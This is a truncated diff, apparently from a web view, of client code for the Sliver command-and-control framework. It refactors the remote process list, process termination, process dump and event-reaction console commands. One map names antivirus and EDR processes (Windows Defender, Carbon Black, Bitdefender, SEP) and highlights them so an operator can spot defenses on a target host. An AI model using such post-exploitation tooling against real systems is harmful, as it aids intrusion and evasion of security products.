saveToFile.Write(dump.GetData())
con.PrintInfof("Process dump stored in: %s\n", saveToFile.Name())
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+112 -80
View File
@@ -19,42 +19,39 @@ package processes
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
// "time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
var (
// Stylizes known processes in the `ps` command
knownProcs = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
@@ -62,91 +59,116 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if ps.Response != nil && ps.Response.Async {
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ps)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPS(os, ps, false, ctx, con)
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
}
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns)
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
} else if beacon != nil {
return beacon.OS
}
return ""
}
switch session.GetOS() {
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
case "windows":
fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
strings.Repeat("=", len("session")),
)
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
case "darwin":
fallthrough
case "linux":
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
)
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
default:
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
)
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
}
cmdLine := ctx.Flags.Bool("print-cmdline")
lineColors := []string{}
for _, proc := range ps.Processes {
var lineColor = ""
if pidFilter != -1 && proc.Pid == int32(pidFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if pidFilter == -1 && exeFilter == "" && ownerFilter == "" {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
// Should be set to normal/green if we rendered the line
if lineColor != "" {
lineColors = append(lineColors, lineColor)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
if pidFilter != -1 && proc.Pid != int32(pidFilter) {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
if exeFilter != "" && !strings.Contains(strings.ToLower(proc.Executable), strings.ToLower(exeFilter)) {
continue
}
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
procRow(tw, proc, cmdLine, con)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
}
// printProcInfo - Stylizes the process information
func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) string {
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if modifyColor, ok := knownProcs[proc.Executable]; ok {
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveTarget.GetSessionInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
if beacon != nil && proc.Pid == beacon.PID {
color = console.Green
}
var row table.Row
switch session.GetOS() {
case "windows":
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID)
if cmdLine {
var args string
if len(proc.CmdLine) >= 1 {
args = strings.Join(proc.CmdLine, " ")
} else {
args = proc.Executable
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
}
case "darwin":
fallthrough
case "linux":
@@ -159,12 +181,22 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
} else {
args = proc.Executable
}
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args)
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable)
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
}
return color
tw.AppendRow(row)
}
// GetPIDByName - Get a PID by name from the active session
+22 -3
View File
@@ -22,8 +22,10 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// TerminateCmd - Terminate a process on the remote system
@@ -39,10 +41,27 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, terminated)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTerminate(terminated, con)
})
con.PrintAsyncResponse(terminated.Response)
} else {
PrintTerminate(terminated, con)
}
}
// PrintTerminate - Print the results of the terminate command
func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) {
if terminated.Response != nil && terminated.Response.GetErr() != "" {
con.PrintErrorf("%s\n", terminated.Response.GetErr())
} else {
con.PrintInfof("Process %d has been terminated\n", terminated.Pid)
}
}
+26 -20
View File
@@ -19,15 +19,15 @@ package reaction
*/
import (
"bytes"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ReactionCmd - Manage reactions to events
@@ -36,6 +36,9 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, eventType := range core.ReactableEvents {
reactions := core.Reactions.On(eventType)
if 0 < len(reactions) {
if totalReactions != 0 {
con.Printf("\n") // Add newline between each table after the first
}
displayReactionsTable(eventType, reactions, con)
}
totalReactions += len(reactions)
@@ -46,25 +49,25 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
// Title
con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
// Table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tCommands\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Commands")),
)
for _, react := range reactions {
fmt.Fprintf(table, "%d\t%s\t\n",
react.ID, strings.Join(react.Commands, ","),
)
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType)))
tw.AppendSeparator()
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
if slackSpace < 0 {
slackSpace = 1
}
table.Flush()
con.Printf("%s", outputBuf.String())
tw.AppendHeader(table.Row{
"ID",
"Commands" + strings.Repeat(" ", slackSpace), // Leave space for title
})
for _, react := range reactions {
tw.AppendRow(table.Row{
react.ID,
strings.Join(react.Commands, ","),
})
}
con.Printf("%s\n", tw.Render())
}
// EventTypeToTitle - Convert an eventType to a more human friendly string
@@ -78,6 +81,9 @@ func EventTypeToTitle(eventType string) string {
case consts.SessionUpdateEvent:
return "Session Updated"
case consts.BeaconRegisteredEvent:
return "Beacon Registered"
case consts.CanaryEvent:
return "Canary Trigger"
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath())
return
}
confirm := false
Loaded 100 of 1521 files, more files were not shown because too many files have changed in this diff. Show more